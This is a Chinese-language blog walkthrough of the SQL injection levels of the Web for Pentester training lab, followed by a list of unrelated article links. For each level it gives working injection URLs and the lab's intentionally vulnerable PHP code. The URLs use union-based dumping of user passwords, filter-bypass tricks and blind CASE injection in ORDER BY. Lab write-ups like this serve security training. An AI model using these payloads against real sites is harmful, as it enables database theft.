Pentester之SQL过关纪实
web for pentester
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术,如:XSS跨站脚本攻击、SQL注入、目录遍历、命令注入、代码注入 、XML攻击、LDAP攻击、文件上传。靶场介绍可以查看官方网站[1]靶场环境搭建方法可以参考文章[2],先从SQL注入顺手练练
example1
http://192.168.132.131/sqli/example1.php?name=root //初看为字符串型
1.判断列数
http://192.168.132.131/sqli/example1.php?name=root' order by 5 --+ 成功 http://192.168.132.131/sqli/example1.php?name=root' order by 6 --+ 失败 列数为5
2.查询库名和版本号
http://192.168.132.131/sqli/example1.php?name=root%27%20union%20select%20database(),version(),user(),4,5 --+
得到库名为exercises ~~~~~~~ 数据库版本为5.1.66-0+squeeze1~~~~~~主机用户名:pentesterlab@localhost
3.查询库的表名
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() --+
可以看到只有一张表为users
4.查询字段名(列名)
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=‘users’ --+
得到5个列名分别为id,name,age,groupid,passwd
图像 5.png
5.查询所有数据
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(id,' ',name,' ',age),group_concat(passwd),3,4,5 from users --+ 可以看到所有数据出来了
贴个源码
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require_once '../footer.php';
?>
发现没有任何过滤..........
example2
http://192.168.132.131/sqli/example2.php?name=root%27%20or%201=1%20# 显示ERROR NO SPACE 看来是过滤了啥,执行不了,懒得试了看看源码
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
有个preg_match函数过滤,preg_match — 执行一个正则表达式匹配
也就是过滤了空格,所以直接注释空格就好了
192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23
图像 8.png
example3
好生奇怪第三关直接可以用第二关的payload
192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23
直接爆出数据来 看看源码去
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
这个显得更加高级一点
example4
这关换成id了,http://192.168.132.131/sqli/example4.php?id=2%20order%20by%205# 一试发现是数字型注入,老办法来,直接给出payload
http://192.168.132.131/sqli/example4.php?id=2%20union%20select%20group_concat(id,name,age,passwd),2,3,4,5%20from%20users
看看源码
<?php
require_once('../header.php');
require_once('db.php');
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
有个过滤函数,mysql_real_ecape_string()对特殊符号转义,但这数字型没有特殊符号,就绕过了
example5
额,上题payload同样可以适用
http://192.168.132.131/sqli/example5.php?id=2%20union%20select%20group_concat(id),2,3,4,5%20from%20users#
看看源码
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
正则表达,匹配非数字型的过滤,高级一点而已,同样绕过
example6
有点迷,不知道怎么过滤的,猜测是有 /[0-9]+/ 之类的过滤。根据上一题,猜测是只匹配了$,于是在#后面加上个数字吧,看下源码
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
/[0-9]+$/匹配末尾为数字就可以了,直接给出payload
http://192.168.132.131/sqli/example6.php?id=2%20union%20all%20select%201,group_concat(id),3,4,5%20from%20users--+%201
example7
试了几个都没用,看看源码
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr> <th> id</th> <th> name</th> <th> age</th> </tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
发现/m可以匹配多行
查到%0A可以结尾每行,试试上payload
http://192.168.132.131/sqli/example7.php?id=2%0aunion%0aall%0aselect%0a1,group_concat(name),3,4,5%0afrom%0ausers# 直接爆出来
example8
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr>
<th> <a href="example8.php?order=id"> id</th>
<th> <a href="example8.php?order=name"> name</th>
<th> <a href="example8.php?order=age"> age</th>
</tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
看了源码直接丢sqlmap里跑吧!
http://192.168.132.131/sqli/example8.php?order=id`, (select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1%23
example9
?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr>
<th> <a href="example9.php?order=id"> id</th>
<th> <a href="example9.php?order=name"> name</th>
<th> <a href="example9.php?order=age"> age</th>
</tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr> ";
echo "<td> ".$row['id']."</td> ";
echo "<td> ".$row['name']."</td> ";
echo "<td> ".$row['age']."</td> ";
echo "</tr> ";
}
echo "</table> ";
}
require '../footer.php';
?>
同理直接上payload
http://192.168.132.131//sqli/example9.php?order=(select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 98 THEN age ELSE id END)%23
参考资料
[1]
官方网站: "https://pentesterlab.com/"
[2]
搭建方法介绍: "https://blog.csdn.net/Jone_Dom/article/details/89502369"
为你铺好的HACKWAY
长按扫码上车
你点的每个在看,我都认真当成了喜欢
- 研究人员警示智能音箱等物联网设备存在较多安全问题
- Tootip小程序,整理一下自己用
- 滴滴电单车--“街兔” 无奈相关域名已被注册
- 联发科将推出两款芯片,拥有AI和人脸识别技术,能和高通叫板吗?
- 谷歌AI黑科技曝光:合成语音与真人声音难以区分
- 小程序是什么?有什么用?
- Aibee融资1.65亿元 曾16.8万元秒下aibee.cn
- 小程序审核攻略
- js checkbox.checked=true在document.body.appendChild(checkbox)前与后赋值
- 吹得飞起的人工智能,2017都摔过哪些跟头?
- 排序还可以这样做
- 韩政府公布虚拟货币投机行为打击对策
- SqlServer2005数据库文件损坏的拯救过程
- 2017年,人类在自己设计的所有游戏中都败给了AI,无一幸免
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- python 实现 php 的 var_dump 功能
- RSA初探,聊聊怎么破解HTTPS
- 深入解析Underscore.js源码架构
- python正向连接后门
- setTimeout和setImmediate到底谁先执行,本文让你彻底理解Event Loop
- emlog全版本CSRF加用户xsser.me模块
- 从发布订阅模式入手读懂Node.js的EventEmitter源码
- 手写一个Promise/A+,完美通过官方872个测试用例
- 浅析白盒审计中的字符编码及SQL注入
- JS做类型检测到底有几种方法?看完本文就知道了!
- HDwiki时间延迟盲注及利用代码
- JS作用域和变量提升看这一篇就够了
- 不知道怎么提高代码复用性?看看这几种设计模式吧!
- 框架源码中用来提高扩展性的设计模式
- 不知道怎么提高代码质量?来看看这几种设计模式吧!